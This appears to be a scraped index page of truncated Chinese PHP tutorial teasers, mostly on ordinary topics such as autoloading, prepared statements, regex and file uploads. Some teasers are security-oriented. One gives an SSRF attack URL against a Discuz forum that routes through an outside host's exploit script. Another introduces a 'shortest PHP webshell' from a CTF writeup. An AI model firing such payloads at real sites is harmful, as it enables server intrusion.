Time of Update: 2017-01-13
在PHP5之後,我們可以通過 __autoload來解決這個問題。 而且在PHP5.1之後,還提供了 spl_autoload_register() 來提供更完善的載入機制。通過閱讀了 Autoloading in PHP 這篇文章,我理解的 Autoload 的載入機制,當通過 new 來執行個體化一個類時,PHP會通過定義的__autoload 函數載入相應的檔案,如果這個類檔案使用了 extends 或者 implements 需要用到其他的類檔案,php會重新運行 autoload
Time of Update: 2017-01-13
0x00 序列化函數serialize():返回帶有變數類型和值的字串unserialize():想要將已序列化的字串變回 PHP 的值測試代碼:<?php class test{ var $a; var $b; function __construct($a,$b,$c){
Time of Update: 2017-01-13
前言最近老是看到有人踩在路徑的坑上面了,感覺有一點必要來說說相對路徑的一些坑,以及絕對路徑的使用問題描述首先我們先來看一下我們這個例子的目錄結構 以及這三個檔案的內容a.php<?phpinclude './c/d.php'b.php<?phpdefine('__B', 'this is a test');c/d.php<?phpinclude
Time of Update: 2017-01-13
前言之所以做這個,是因為這兩個函數的作用很像,都是把字串轉換成數組。explode從下面的例子可以看出,產生的數組是有對應的順序的。 代碼如下複製代碼 $pizza = "piece1 piece2 piece3 piece4 piece5 piece6";$pieces = explode(" ", $pizza);echo $pieces[0]; // piece1echo $pieces[1]; // piece2//
Time of Update: 2017-01-13
__wakeup()函數用法__wakeup()是用在還原序列化操作中。unserialize()會檢查存在一個__wakeup()方法。如果存在,則先會調用__wakeup()方法。<?phpclass A{ function __wakeup(){ echo 'Hello'; } }$c = new
Time of Update: 2017-01-13
<?php/** * Created by PhpStorm. * User: Administrator * Date: 2016/11/1 * Time: 12:26 *//*把數字轉換成字元對應解析 * @param mixed $in String or long input to translate * @param boolean
Time of Update: 2017-01-13
下面的情況就會導致表單重複提交:點擊提交按鈕兩次。點擊重新整理按鈕。使用瀏覽器後退按鈕重複之前的操作,導致重複提交表單。使用瀏覽器記錄重複提交表單。瀏覽器重複的HTTP請求。網頁被惡意重新整理。下面是幾種解決辦法:一:利用js設定按鈕點擊後變成灰色<form name=form1 method=”POST” action=”/” target=_blank><p><input
Time of Update: 2017-01-13
使用prepared以及參數綁定查詢可根本性防止sql注入的發生:SQL語句與參數分批傳輸到sql伺服器的方式讓利用字串拼接的SQL注入沒有了施展空間。基本上你有兩種方式完成上述方法:使用PDO:$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');$stmt->execute(array('name' => $name));foreach ($stmt as $row)
Time of Update: 2017-01-13
The shortest webshell of PHP某天閑逛wooyun,發現一篇挺有意思的文章————《32C3 CTF 兩個Web題目的Writeup》。其中提到了兩個比較有意思的東西:The shortest webshell of PHPPHP執行運算子反引號上面提及的文章,我讀前幾遍的時候是很費解的!後來,土司的P牛給我一些指點,豁然開朗Google “the shortest webshell”<?=`
Time of Update: 2017-01-13
前言PHP是一種通用的開源指令碼語言,它的文法混合了C,Java,以及Perl等優秀語言的文法。除此之外,它還提供了大量的函數庫可供開發人員使用。但是,如果使用不當,PHP也會給應用程式帶來非常大的安全風險。在這篇文章中,我們將會對PHP應用程式中經常會出現的一些問題進行深入地分析,尤其是當我們使用“==”(比較子)來進行字串比較時,可能會出現的一些安全問題。雖然近期有很多文章都圍繞著這一話題進行過一些探討,但我決定從“黑箱測試”的角度出發,討論一
Time of Update: 2017-01-13
這個存在漏洞的url是http://bbs.demo.com//forum.php?mod=ajax&action=downremoteimg&message=攻擊者把非法檔案傳入到參數進行SSRF攻擊:http://bbs.demo.com//forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=6
Time of Update: 2017-01-13
php在新浪雲中使用imagick產生縮圖並上傳到Storage的方法<?php//縮圖 $tmpFile ='http://phpff.com/original.jpg' ; list($width, $height) = getimagesize($tmpFile); // resize if
Time of Update: 2017-01-13
匹配網域名稱有以下的格式要求:1、網域名稱中的標號都由英文字母和數字組成,每一個標號不超過63個字元,也不區分大小寫字母。標號中除連字號(-)外不能使用其他的標點符號。2、各級網域名稱之間用實點(.)串連,第三層網域名的長度不能超過20個字元。3、由多個標號組成的完整網域名稱總共不超過255個字元。 所以匹配網域名稱的正則要1、由英文數字 和 “_”組成
Time of Update: 2017-01-13
對於有重複的5到10位元字可以使用d{5,10} 這樣的正則無重複的5到10位元字我考慮了一下還不會,最然只好查網上。有一個版本還不錯,反正RegexBuddy測試通過了。 代碼如下複製代碼 ^(?!d*?(d)d*?1)d{5,10}$ 對於(?!………(……)………1)這樣的形式我還沒有研究透,有時間我真要細細研究。 上一個php的例子:
Time of Update: 2017-01-13
nbsp;用php產生excel檔案 哈哈,今天又學一招。php產生excel文檔太簡單了,估計大家都會用到,所以共用出來。大家來看代碼:<? header("Content-type:application/vnd.ms-excel");
Time of Update: 2017-01-13
P>Java語言功能強大,因此在許多情況下在php中來調用Java的功能將十分有用。在php中調用Java語言有兩種方法,一種是使用php中的Java擴充模組,另一種是使用minij2ee應用伺服器提供的SJOP協議實現。下面我們來比較一下這兩種方法各自的特點。1.php的Java模組php發布版中包含一個Java擴充模組,可以用來調用Java對象,例如:<?php$system=new Java("java.lang.System");print
Time of Update: 2017-01-13
以下是一段gb2312 -> UTF-8 的函數,我抄了 unicode -> UTF-8 的演算法,所以實際比GB2312->unicode 沒多多少東西,請大家注意調用gb2utf8()時不能中英文混用 程式需要的GB2312.txt檔案 <? //Program writen by sadly www.phpx.com //gb2utf8.php function gb2utf8($gb) { if(!trim($gb)) return $gb;
Time of Update: 2017-01-13
fileclass.php檔案代碼如下: <?phpclass more_file_upload{ const FILE_PATH='../filehandle/uploadfile/'; var $file_type; var $file_type_array; var $file_type_string; var $file_name; var $file_size; var $file_tmp_name;
Time of Update: 2017-01-13
現在我們有了需要通過$REMOTE_ADDR變數來交叉引用的檔案,這樣我們可以區分出想要發貼的使用者是否已經被扁或沒有被扁。很簡單: <?php for ($counter=0;$counter<sizeof($banned_array);$counter++) { if ($banned_array[$counter] == $REMOTE_ADDR) { print("<font color="red"
Time of Update: 2017-01-13
<?php // 網路技術主管座右銘:三人行,其必有我師焉。http://www.ctohome.com // 這個代碼可以是說是非常的SMART,我改動了小小部分使它更容易用。$moreinfolist = array( // 儲存WHOIS查詢主機的串連方法 'at' => 'www.ripe.net/cgi-bin/whois?query=', 'au' => 'www.aunic.net/cgi-bin/whois.aunic?', 'bm' =>